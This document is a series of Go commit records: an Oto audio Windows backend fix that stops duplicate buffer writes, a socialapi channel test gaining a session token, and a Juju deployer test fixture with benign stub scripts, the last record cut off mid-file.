<commit_before>// Copyright 2021 The Oto Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package oto

import (
	"fmt"
	"unsafe"

	"golang.org/x/sys/windows"
)

// Avoid goroutines on Windows (hajimehoshi/ebiten#1768).
// Apparently, switching contexts might take longer than other platforms.

const headerBufferSize = 4096

type header struct {
	waveOut uintptr
	buffer  []float32
	waveHdr *wavehdr
}

func newHeader(waveOut uintptr, bufferSizeInBytes int) (*header, error) {
	h := &header{
		waveOut: waveOut,
		buffer:  make([]float32, bufferSizeInBytes/4),
	}
	h.waveHdr = &wavehdr{
		lpData:         uintptr(unsafe.Pointer(&h.buffer[0])),
		dwBufferLength: uint32(bufferSizeInBytes),
	}
	if err := waveOutPrepareHeader(waveOut, h.waveHdr); err != nil {
		return nil, err
	}
	return h, nil
}

func (h *header) Write(data []float32) error {
	copy(h.buffer, data)
	if err := waveOutWrite(h.waveOut, h.waveHdr); err != nil {
		return err
	}
	return nil
}

func (h *header) IsQueued() bool {
	return h.waveHdr.dwFlags&whdrInqueue != 0
}

func (h *header) Close() error {
	return waveOutUnprepareHeader(h.waveOut, h.waveHdr)
}

type context struct {
	sampleRate      int
	channelNum      int
	bitDepthInBytes int

	waveOut uintptr
	headers []*header

	buf32 []float32

	players *players
}

var theContext *context

func newContext(sampleRate, channelNum, bitDepthInBytes int) (*context, chan struct{}, error) {
	ready := make(chan struct{})
	close(ready)

	c := &context{
		sampleRate:      sampleRate,
		channelNum:      channelNum,
		bitDepthInBytes: bitDepthInBytes,
		players:         newPlayers(),
	}
	theContext = c

	const bitsPerSample = 32
	nBlockAlign := c.channelNum * bitsPerSample / 8
	f := &waveformatex{
		wFormatTag:      waveFormatIEEEFloat,
		nChannels:       uint16(c.channelNum),
		nSamplesPerSec:  uint32(c.sampleRate),
		nAvgBytesPerSec: uint32(c.sampleRate * nBlockAlign),
		wBitsPerSample:  bitsPerSample,
		nBlockAlign:     uint16(nBlockAlign),
	}

	// TOOD: What about using an event instead of a callback? PortAudio and other libraries do that.
	w, err := waveOutOpen(f, waveOutOpenCallback)
	const elementNotFound = 1168
	if e, ok := err.(*winmmError); ok && e.errno == elementNotFound {
		// TODO: No device was found. Return the dummy device (#77).
		// TODO: Retry to open the device when possible.
		return nil, nil, err
	}
	if err != nil {
		return nil, nil, err
	}

	c.waveOut = w
	c.headers = make([]*header, 0, 6)
	for len(c.headers) < cap(c.headers) {
		h, err := newHeader(c.waveOut, headerBufferSize)
		if err != nil {
			return nil, nil, err
		}
		c.headers = append(c.headers, h)
	}

	c.buf32 = make([]float32, headerBufferSize/4)
	for range c.headers {
		c.appendBuffers()
	}

	return c, ready, nil
}

func (c *context) Suspend() error {
	if err := waveOutPause(c.waveOut); err != nil {
		return err
	}
	return nil
}

func (c *context) Resume() error {
	// TODO: Ensure at least one header is queued?

	if err := waveOutRestart(c.waveOut); err != nil {
		return err
	}
	return nil
}

func (c *context) isHeaderAvailable() bool {
	for _, h := range c.headers {
		if !h.IsQueued() {
			return true
		}
	}
	return false
}

var waveOutOpenCallback = windows.NewCallbackCDecl(func(hwo, uMsg, dwInstance, dwParam1, dwParam2 uintptr) uintptr {
	const womDone = 0x3bd
	if uMsg != womDone {
		return 0
	}
	theContext.appendBuffers()
	return 0
})

func (c *context) appendBuffers() {
	for i := range c.buf32 {
		c.buf32[i] = 0
	}
	c.players.read(c.buf32)

	for _, h := range c.headers {
		if h.IsQueued() {
			continue
		}

		if err := h.Write(c.buf32); err != nil {
			// This error can happen when e.g. a new HDMI connection is detected (#51).
			const errorNotFound = 1168
			if werr := err.(*winmmError); werr.fname == "waveOutWrite" {
				switch {
				case werr.mmresult == mmsyserrNomem:
					continue
				case werr.errno == errorNotFound:
					// TODO: Retry later.
				}
			}
			// TODO: Treat the error corretly
			panic(fmt.Errorf("oto: Queueing the header failed: %v", err))
		}
	}
}
<commit_msg>windows: Bug fix: Do not write duplicated data to multiple headers<commit_after>// Copyright 2021 The Oto Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package oto

import (
	"fmt"
	"unsafe"

	"golang.org/x/sys/windows"
)

// Avoid goroutines on Windows (hajimehoshi/ebiten#1768).
// Apparently, switching contexts might take longer than other platforms.

const headerBufferSize = 4096

type header struct {
	waveOut uintptr
	buffer  []float32
	waveHdr *wavehdr
}

func newHeader(waveOut uintptr, bufferSizeInBytes int) (*header, error) {
	h := &header{
		waveOut: waveOut,
		buffer:  make([]float32, bufferSizeInBytes/4),
	}
	h.waveHdr = &wavehdr{
		lpData:         uintptr(unsafe.Pointer(&h.buffer[0])),
		dwBufferLength: uint32(bufferSizeInBytes),
	}
	if err := waveOutPrepareHeader(waveOut, h.waveHdr); err != nil {
		return nil, err
	}
	return h, nil
}

func (h *header) Write(data []float32) error {
	copy(h.buffer, data)
	if err := waveOutWrite(h.waveOut, h.waveHdr); err != nil {
		return err
	}
	return nil
}

func (h *header) IsQueued() bool {
	return h.waveHdr.dwFlags&whdrInqueue != 0
}

func (h *header) Close() error {
	return waveOutUnprepareHeader(h.waveOut, h.waveHdr)
}

type context struct {
	sampleRate      int
	channelNum      int
	bitDepthInBytes int

	waveOut uintptr
	headers []*header

	buf32 []float32

	players *players
}

var theContext *context

func newContext(sampleRate, channelNum, bitDepthInBytes int) (*context, chan struct{}, error) {
	ready := make(chan struct{})
	close(ready)

	c := &context{
		sampleRate:      sampleRate,
		channelNum:      channelNum,
		bitDepthInBytes: bitDepthInBytes,
		players:         newPlayers(),
	}
	theContext = c

	const bitsPerSample = 32
	nBlockAlign := c.channelNum * bitsPerSample / 8
	f := &waveformatex{
		wFormatTag:      waveFormatIEEEFloat,
		nChannels:       uint16(c.channelNum),
		nSamplesPerSec:  uint32(c.sampleRate),
		nAvgBytesPerSec: uint32(c.sampleRate * nBlockAlign),
		wBitsPerSample:  bitsPerSample,
		nBlockAlign:     uint16(nBlockAlign),
	}

	// TOOD: What about using an event instead of a callback? PortAudio and other libraries do that.
	w, err := waveOutOpen(f, waveOutOpenCallback)
	const elementNotFound = 1168
	if e, ok := err.(*winmmError); ok && e.errno == elementNotFound {
		// TODO: No device was found. Return the dummy device (#77).
		// TODO: Retry to open the device when possible.
		return nil, nil, err
	}
	if err != nil {
		return nil, nil, err
	}

	c.waveOut = w
	c.headers = make([]*header, 0, 6)
	for len(c.headers) < cap(c.headers) {
		h, err := newHeader(c.waveOut, headerBufferSize)
		if err != nil {
			return nil, nil, err
		}
		c.headers = append(c.headers, h)
	}

	c.buf32 = make([]float32, headerBufferSize/4)
	for range c.headers {
		c.appendBuffers()
	}

	return c, ready, nil
}

func (c *context) Suspend() error {
	if err := waveOutPause(c.waveOut); err != nil {
		return err
	}
	return nil
}

func (c *context) Resume() error {
	// TODO: Ensure at least one header is queued?

	if err := waveOutRestart(c.waveOut); err != nil {
		return err
	}
	return nil
}

func (c *context) isHeaderAvailable() bool {
	for _, h := range c.headers {
		if !h.IsQueued() {
			return true
		}
	}
	return false
}

var waveOutOpenCallback = windows.NewCallbackCDecl(func(hwo, uMsg, dwInstance, dwParam1, dwParam2 uintptr) uintptr {
	const womDone = 0x3bd
	if uMsg != womDone {
		return 0
	}
	theContext.appendBuffers()
	return 0
})

func (c *context) appendBuffers() {
	for i := range c.buf32 {
		c.buf32[i] = 0
	}
	c.players.read(c.buf32)

	for _, h := range c.headers {
		if h.IsQueued() {
			continue
		}

		if err := h.Write(c.buf32); err != nil {
			// This error can happen when e.g. a new HDMI connection is detected (#51).
			const errorNotFound = 1168
			if werr := err.(*winmmError); werr.fname == "waveOutWrite" {
				switch {
				case werr.mmresult == mmsyserrNomem:
					continue
				case werr.errno == errorNotFound:
					// TODO: Retry later.
				}
			}
			// TODO: Treat the error corretly
			panic(fmt.Errorf("oto: Queueing the header failed: %v", err))
		}
		return
	}
}
<|endoftext|>


<commit_before>package main

import (
	"math/rand"
	"socialapi/models"
	"socialapi/request"
	"socialapi/rest"
	"socialapi/workers/common/tests"
	"testing"

	"github.com/koding/runner"
	"gopkg.in/mgo.v2/bson"

	. "github.com/smartystreets/goconvey/convey"
)

func TestGroupChannel(t *testing.T) {
	tests.WithRunner(t, func(r *runner.Runner) {
		Convey("while  testing pinned activity channel", t, func() {
			groupName := models.RandomGroupName()

			account, err := models.CreateAccountInBothDbs()
			So(err, ShouldBeNil)

			ses, err := models.FetchOrCreateSession(account.Nick, groupName)
			So(err, ShouldBeNil)
			So(ses, ShouldNotBeNil)

			models.CreateTypedGroupedChannelWithTest(
				account.Id,
				models.Channel_TYPE_GROUP,
				groupName,
			)

			Convey("channel should be there", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)

				channel2, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel2, ShouldNotBeNil)
			})

			Convey("group channel should be shown before announcement", func() {
				account, err := models.CreateAccountInBothDbs()
				So(err, ShouldBeNil)

				_, err = rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)

				_, err = rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_ANNOUNCEMENT,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				channels, err := rest.FetchChannelsByQuery(account.Id, &request.Query{
					GroupName: groupName,
					Type:      models.Channel_TYPE_GROUP,
				})
				So(err, ShouldBeNil)
				So(len(channels), ShouldEqual, 2)
				So(channels[0].TypeConstant, ShouldEqual, models.Channel_TYPE_GROUP)
				So(channels[1].TypeConstant, ShouldEqual, models.Channel_TYPE_ANNOUNCEMENT)

			})

			Convey("owner should be able to update it", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)
				// fetching channel returns creator id
				_, err = rest.UpdateChannel(channel1, ses.ClientId)
				So(err, ShouldBeNil)
			})

			Convey("owner should only be able to update name and purpose of the channel", nil)

			Convey("normal user should be able to update it if and only if user is creator or participant", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)

				anotherAccount := models.NewAccount()
				anotherAccount.OldId = bson.NewObjectId().Hex()
				anotherAccount, err = rest.CreateAccount(anotherAccount)

				So(err, ShouldBeNil)
				So(account, ShouldNotBeNil)

				ses, err := models.FetchOrCreateSession(anotherAccount.Nick, groupName)
				So(err, ShouldBeNil)
				So(ses, ShouldNotBeNil)

				_, err = rest.UpdateChannel(channel1, ses.ClientId)
				So(err, ShouldBeNil)
			})

			Convey("owner cant delete it", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)

				err = rest.DeleteChannel(account.Id, channel1.Id)
				So(err, ShouldNotBeNil)
			})

			Convey("normal user cant delete it", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)

				err = rest.DeleteChannel(rand.Int63(), channel1.Id)
				So(err, ShouldNotBeNil)
			})

			Convey("member can post status update", nil)

			Convey("non-member can not post status update", nil)
		})
	})
}

func TestGroupChannelFirstCreation(t *testing.T) {
	tests.WithRunner(t, func(r *runner.Runner) {
		Convey("While creating the new group channel for the first time", t, func() {
			Convey("user should be able to create group channel", func() {
				acc, err := models.CreateAccountInBothDbs()
				So(err, ShouldBeNil)

				groupName := models.RandomGroupName()
				ses, err := models.FetchOrCreateSession(acc.Nick, groupName)
				So(err, ShouldBeNil)
				So(ses, ShouldNotBeNil)

				channel, err := rest.CreateChannelByGroupNameAndType(
					acc.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)

				So(err, ShouldBeNil)
				So(channel.GroupName, ShouldEqual, groupName)
			})
		})
	})
}
<commit_msg>tests: token is added for fething channel by query<commit_after>package main

import (
	"math/rand"
	"socialapi/models"
	"socialapi/request"
	"socialapi/rest"
	"socialapi/workers/common/tests"
	"testing"

	"github.com/koding/runner"
	"gopkg.in/mgo.v2/bson"

	. "github.com/smartystreets/goconvey/convey"
)

func TestGroupChannel(t *testing.T) {
	tests.WithRunner(t, func(r *runner.Runner) {
		Convey("while  testing pinned activity channel", t, func() {
			groupName := models.RandomGroupName()

			account, err := models.CreateAccountInBothDbs()
			So(err, ShouldBeNil)

			ses, err := models.FetchOrCreateSession(account.Nick, groupName)
			So(err, ShouldBeNil)
			So(ses, ShouldNotBeNil)

			models.CreateTypedGroupedChannelWithTest(
				account.Id,
				models.Channel_TYPE_GROUP,
				groupName,
			)

			Convey("channel should be there", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)

				channel2, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel2, ShouldNotBeNil)
			})

			Convey("group channel should be shown before announcement", func() {
				account, err := models.CreateAccountInBothDbs()
				So(err, ShouldBeNil)

				_, err = rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)

				_, err = rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_ANNOUNCEMENT,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				channels, err := rest.FetchChannelsByQuery(account.Id, &request.Query{
					GroupName: groupName,
					Type:      models.Channel_TYPE_GROUP,
				},
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(len(channels), ShouldEqual, 2)
				So(channels[0].TypeConstant, ShouldEqual, models.Channel_TYPE_GROUP)
				So(channels[1].TypeConstant, ShouldEqual, models.Channel_TYPE_ANNOUNCEMENT)

			})

			Convey("owner should be able to update it", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)
				// fetching channel returns creator id
				_, err = rest.UpdateChannel(channel1, ses.ClientId)
				So(err, ShouldBeNil)
			})

			Convey("owner should only be able to update name and purpose of the channel", nil)

			Convey("normal user should be able to update it if and only if user is creator or participant", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)

				anotherAccount := models.NewAccount()
				anotherAccount.OldId = bson.NewObjectId().Hex()
				anotherAccount, err = rest.CreateAccount(anotherAccount)

				So(err, ShouldBeNil)
				So(account, ShouldNotBeNil)

				ses, err := models.FetchOrCreateSession(anotherAccount.Nick, groupName)
				So(err, ShouldBeNil)
				So(ses, ShouldNotBeNil)

				_, err = rest.UpdateChannel(channel1, ses.ClientId)
				So(err, ShouldBeNil)
			})

			Convey("owner cant delete it", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)

				err = rest.DeleteChannel(account.Id, channel1.Id)
				So(err, ShouldNotBeNil)
			})

			Convey("normal user cant delete it", func() {
				channel1, err := rest.CreateChannelByGroupNameAndType(
					account.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)
				So(err, ShouldBeNil)
				So(channel1, ShouldNotBeNil)

				err = rest.DeleteChannel(rand.Int63(), channel1.Id)
				So(err, ShouldNotBeNil)
			})

			Convey("member can post status update", nil)

			Convey("non-member can not post status update", nil)
		})
	})
}

func TestGroupChannelFirstCreation(t *testing.T) {
	tests.WithRunner(t, func(r *runner.Runner) {
		Convey("While creating the new group channel for the first time", t, func() {
			Convey("user should be able to create group channel", func() {
				acc, err := models.CreateAccountInBothDbs()
				So(err, ShouldBeNil)

				groupName := models.RandomGroupName()
				ses, err := models.FetchOrCreateSession(acc.Nick, groupName)
				So(err, ShouldBeNil)
				So(ses, ShouldNotBeNil)

				channel, err := rest.CreateChannelByGroupNameAndType(
					acc.Id,
					groupName,
					models.Channel_TYPE_GROUP,
					ses.ClientId,
				)

				So(err, ShouldBeNil)
				So(channel.GroupName, ShouldEqual, groupName)
			})
		})
	})
}
<|endoftext|>


<commit_before>// Copyright 2012, 2013 Canonical Ltd.
// Licensed under the AGPLv3, see LICENCE file for details.

package deployer_test

import (
	"encoding/json"
	"fmt"
	"io/ioutil"
	"os"
	"path/filepath"
	"regexp"
	"sort"

	"github.com/juju/names"
	jc "github.com/juju/testing/checkers"
	gc "gopkg.in/check.v1"

	"github.com/juju/juju/agent"
	"github.com/juju/juju/agent/tools"
	"github.com/juju/juju/apiserver/params"
	"github.com/juju/juju/testing"
	coretools "github.com/juju/juju/tools"
	"github.com/juju/juju/version"
	"github.com/juju/juju/worker/deployer"
)

type SimpleContextSuite struct {
	SimpleToolsFixture
}

var _ = gc.Suite(&SimpleContextSuite{})

func (s *SimpleContextSuite) SetUpTest(c *gc.C) {
	s.SimpleToolsFixture.SetUp(c, c.MkDir())
}

func (s *SimpleContextSuite) TearDownTest(c *gc.C) {
	s.SimpleToolsFixture.TearDown(c)
}

func (s *SimpleContextSuite) TestDeployRecall(c *gc.C) {
	mgr0 := s.getContext(c)
	units, err := mgr0.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 0)
	s.assertUpstartCount(c, 0)

	err = mgr0.DeployUnit("foo/123", "some-password")
	c.Assert(err, gc.IsNil)
	units, err = mgr0.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.DeepEquals, []string{"foo/123"})
	s.assertUpstartCount(c, 1)
	s.checkUnitInstalled(c, "foo/123", "some-password")

	err = mgr0.RecallUnit("foo/123")
	c.Assert(err, gc.IsNil)
	units, err = mgr0.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 0)
	s.assertUpstartCount(c, 0)
	s.checkUnitRemoved(c, "foo/123")
}

func (s *SimpleContextSuite) TestOldDeployedUnitsCanBeRecalled(c *gc.C) {
	// After r1347 deployer tag is no longer part of the upstart conf filenames,
	// now only the units' tags are used. This change is with the assumption only
	// one deployer will be running on a machine (in the machine agent as a task,
	// unlike before where there was one in the unit agent as well).
	// This test ensures units deployed previously (or their upstart confs more
	// specifically) can be detected and recalled by the deployer.

	manager := s.getContext(c)

	// No deployed units at first.
	units, err := manager.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 0)
	s.assertUpstartCount(c, 0)

	// Trying to recall any units will fail.
	err = manager.RecallUnit("principal/1")
	c.Assert(err, gc.ErrorMatches, `unit "principal/1" is not deployed`)

	// Simulate some previously deployed units with the old
	// upstart conf filename format (+deployer tags).
	s.injectUnit(c, "jujud-machine-0:unit-mysql-0.conf", "unit-mysql-0")
	s.assertUpstartCount(c, 1)
	s.injectUnit(c, "jujud-unit-wordpress-0:unit-nrpe-0.conf", "unit-nrpe-0")
	s.assertUpstartCount(c, 2)

	// Make sure we can discover them.
	units, err = manager.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 2)
	sort.Strings(units)
	c.Assert(units, gc.DeepEquals, []string{"mysql/0", "nrpe/0"})

	// Deploy some units.
	err = manager.DeployUnit("principal/1", "some-password")
	c.Assert(err, gc.IsNil)
	s.checkUnitInstalled(c, "principal/1", "some-password")
	s.assertUpstartCount(c, 3)
	err = manager.DeployUnit("subordinate/2", "fake-password")
	c.Assert(err, gc.IsNil)
	s.checkUnitInstalled(c, "subordinate/2", "fake-password")
	s.assertUpstartCount(c, 4)

	// Verify the newly deployed units are also discoverable.
	units, err = manager.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 4)
	sort.Strings(units)
	c.Assert(units, gc.DeepEquals, []string{"mysql/0", "nrpe/0", "principal/1", "subordinate/2"})

	// Recall all of them - should work ok.
	unitCount := 4
	for _, unitName := range units {
		err = manager.RecallUnit(unitName)
		c.Assert(err, gc.IsNil)
		unitCount--
		s.checkUnitRemoved(c, unitName)
		s.assertUpstartCount(c, unitCount)
	}

	// Verify they're no longer discoverable.
	units, err = manager.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 0)
}

type SimpleToolsFixture struct {
	dataDir  string
	logDir   string
	initDir  string
	origPath string
	binDir   string
}

var fakeJujud = "#!/bin/bash --norc\n# fake-jujud\nexit 0\n"

func (fix *SimpleToolsFixture) SetUp(c *gc.C, dataDir string) {
	fix.dataDir = dataDir
	fix.initDir = c.MkDir()
	fix.logDir = c.MkDir()
	toolsDir := tools.SharedToolsDir(fix.dataDir, version.Current)
	err := os.MkdirAll(toolsDir, 0755)
	c.Assert(err, gc.IsNil)
	jujudPath := filepath.Join(toolsDir, "jujud")
	err = ioutil.WriteFile(jujudPath, []byte(fakeJujud), 0755)
	c.Assert(err, gc.IsNil)
	toolsPath := filepath.Join(toolsDir, "downloaded-tools.txt")
	testTools := coretools.Tools{Version: version.Current, URL: "http://testing.invalid/tools"}
	data, err := json.Marshal(testTools)
	c.Assert(err, gc.IsNil)
	err = ioutil.WriteFile(toolsPath, data, 0644)
	c.Assert(err, gc.IsNil)
	fix.binDir = c.MkDir()
	fix.origPath = os.Getenv("PATH")
	os.Setenv("PATH", fix.binDir+":"+fix.origPath)
	fix.makeBin(c, "status", `echo "blah stop/waiting"`)
	fix.makeBin(c, "stopped-status", `echo "blah stop/waiting"`)
	fix.makeBin(c, "started-status", `echo "blah start/running, process 666"`)
	fix.makeBin(c, "start", "cp $(which started-status) $(which status)")
	fix.makeBin(c, "stop", "cp $(which stopped-status) $(which status)")
}

func (fix *SimpleToolsFixture) TearDown(c *gc.C) {
	os.Setenv("PATH", fix.origPath)
}

func (fix *SimpleToolsFixture) makeBin(c *gc.C, name, script string) {
	path := filepath.Join(fix.binDir, name)
	err := ioutil.WriteFile(path, []byte("#!/bin/bash --norc\n"+script), 0755)
	c.Assert(err, gc.IsNil)
}

func (fix *SimpleToolsFixture) assertUpstartCount(c *gc.C, count int) {
	fis, err := ioutil.ReadDir(fix.initDir)
	c.Assert(err, gc.IsNil)
	c.Assert(fis, gc.HasLen, count)
}

func (fix *SimpleToolsFixture) getContext(c *gc.C) *deployer.SimpleContext {
	config := agentConfig(names.NewMachineTag("99"), fix.dataDir, fix.logDir)
	return deployer.NewTestSimpleContext(config, fix.initDir, fix.logDir)
}

func (fix *SimpleToolsFixture) getContextForMachine(c *gc.C, machineTag names.Tag) *deployer.SimpleContext {
	config := agentConfig(machineTag, fix.dataDir, fix.logDir)
	return deployer.NewTestSimpleContext(config, fix.initDir, fix.logDir)
}

func (fix *SimpleToolsFixture) paths(tag names.Tag) (confPath, agentDir, toolsDir string) {
	confName := fmt.Sprintf("jujud-%s.conf", tag)
	confPath = filepath.Join(fix.initDir, confName)
	agentDir = agent.Dir(fix.dataDir, tag)
	toolsDir = tools.ToolsDir(fix.dataDir, tag.String())
	return
}

func (fix *SimpleToolsFixture) checkUnitInstalled(c *gc.C, name, password string) {
	tag := names.NewUnitTag(name)
	uconfPath, _, toolsDir := fix.paths(tag)
	uconfData, err := ioutil.ReadFile(uconfPath)
	c.Assert(err, gc.IsNil)
	uconf := string(uconfData)

	regex := regexp.MustCompile("(?m)(?:^\\s)*exec\\s.+$")
	execs := regex.FindAllString(uconf, -1)

	if nil == execs {
		c.Fatalf("no command found in %s:\n%s", uconfPath, uconf)
	} else if 1 > len(execs) {
		c.Fatalf("Test is not built to handle more than one exec line.")
	}

	logPath := filepath.Join(fix.logDir, tag.String()+".log")
	jujudPath := filepath.Join(toolsDir, "jujud")

	for _, pat := range []string{
		"^exec " + jujudPath + " unit ",
		" --unit-name " + name + " ",
		" >> " + logPath + " 2>&1$",
	} {
		match, err := regexp.MatchString(pat, execs[0])
		c.Assert(err, gc.IsNil)
		if !match {
			c.Fatalf("failed to match:\n%s\nin:\n%s", pat, execs[0])
		}
	}

	conf, err := agent.ReadConfig(agent.ConfigPath(fix.dataDir, tag))
	c.Assert(err, gc.IsNil)
	c.Assert(conf.Tag(), gc.Equals, tag)
	c.Assert(conf.DataDir(), gc.Equals, fix.dataDir)

	jujudData, err := ioutil.ReadFile(jujudPath)
	c.Assert(err, gc.IsNil)
	c.Assert(string(jujudData), gc.Equals, fakeJujud)
}

func (fix *SimpleToolsFixture) checkUnitRemoved(c *gc.C, name string) {
	tag := names.NewUnitTag(name)
	confPath, agentDir, toolsDir := fix.paths(tag)
	for _, path := range []string{confPath, agentDir, toolsDir} {
		_, err := ioutil.ReadFile(path)
		if err == nil {
			c.Log("Warning: %q not removed as expected", path)
		} else {
			c.Assert(err, jc.Satisfies, os.IsNotExist)
		}
	}
}

func (fix *SimpleToolsFixture) injectUnit(c *gc.C, upstartConf, unitTag string) {
	confPath := filepath.Join(fix.initDir, upstartConf)
	err := ioutil.WriteFile(confPath, []byte("#!/bin/bash --norc\necho $0"), 0644)
	c.Assert(err, gc.IsNil)
	toolsDir := filepath.Join(fix.dataDir, "tools", unitTag)
	err = os.MkdirAll(toolsDir, 0755)
	c.Assert(err, gc.IsNil)
}

type mockConfig struct {
	agent.Config
	tag               names.Tag
	datadir           string
	logdir            string
	upgradedToVersion version.Number
	jobs              []params.MachineJob
}

func (mock *mockConfig) Tag() names.Tag {
	return mock.tag
}

func (mock *mockConfig) DataDir() string {
	return mock.datadir
}

func (mock *mockConfig) LogDir() string {
	return mock.logdir
}

func (mock *mockConfig) Jobs() []params.MachineJob {
	return mock.jobs
}

func (mock *mockConfig) UpgradedToVersion() version.Number {
	return mock.upgradedToVersion
}

func (mock *mockConfig) WriteUpgradedToVersion(newVersion version.Number) error {
	mock.upgradedToVersion = newVersion
	return nil
}

func (mock *mockConfig) CACert() string {
	return testing.CACert
}

func (mock *mockConfig) Value(_ string) string {
	return ""
}

func agentConfig(tag names.Tag, datadir, logdir string) agent.Config {
	return &mockConfig{tag: tag, datadir: datadir, logdir: logdir}
}
<commit_msg>Fix minor `go tool vet` warning<commit_after>// Copyright 2012, 2013 Canonical Ltd.
// Licensed under the AGPLv3, see LICENCE file for details.

package deployer_test

import (
	"encoding/json"
	"fmt"
	"io/ioutil"
	"os"
	"path/filepath"
	"regexp"
	"sort"

	"github.com/juju/names"
	jc "github.com/juju/testing/checkers"
	gc "gopkg.in/check.v1"

	"github.com/juju/juju/agent"
	"github.com/juju/juju/agent/tools"
	"github.com/juju/juju/apiserver/params"
	"github.com/juju/juju/testing"
	coretools "github.com/juju/juju/tools"
	"github.com/juju/juju/version"
	"github.com/juju/juju/worker/deployer"
)

type SimpleContextSuite struct {
	SimpleToolsFixture
}

var _ = gc.Suite(&SimpleContextSuite{})

func (s *SimpleContextSuite) SetUpTest(c *gc.C) {
	s.SimpleToolsFixture.SetUp(c, c.MkDir())
}

func (s *SimpleContextSuite) TearDownTest(c *gc.C) {
	s.SimpleToolsFixture.TearDown(c)
}

func (s *SimpleContextSuite) TestDeployRecall(c *gc.C) {
	mgr0 := s.getContext(c)
	units, err := mgr0.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 0)
	s.assertUpstartCount(c, 0)

	err = mgr0.DeployUnit("foo/123", "some-password")
	c.Assert(err, gc.IsNil)
	units, err = mgr0.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.DeepEquals, []string{"foo/123"})
	s.assertUpstartCount(c, 1)
	s.checkUnitInstalled(c, "foo/123", "some-password")

	err = mgr0.RecallUnit("foo/123")
	c.Assert(err, gc.IsNil)
	units, err = mgr0.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 0)
	s.assertUpstartCount(c, 0)
	s.checkUnitRemoved(c, "foo/123")
}

func (s *SimpleContextSuite) TestOldDeployedUnitsCanBeRecalled(c *gc.C) {
	// After r1347 deployer tag is no longer part of the upstart conf filenames,
	// now only the units' tags are used. This change is with the assumption only
	// one deployer will be running on a machine (in the machine agent as a task,
	// unlike before where there was one in the unit agent as well).
	// This test ensures units deployed previously (or their upstart confs more
	// specifically) can be detected and recalled by the deployer.

	manager := s.getContext(c)

	// No deployed units at first.
	units, err := manager.DeployedUnits()
	c.Assert(err, gc.IsNil)
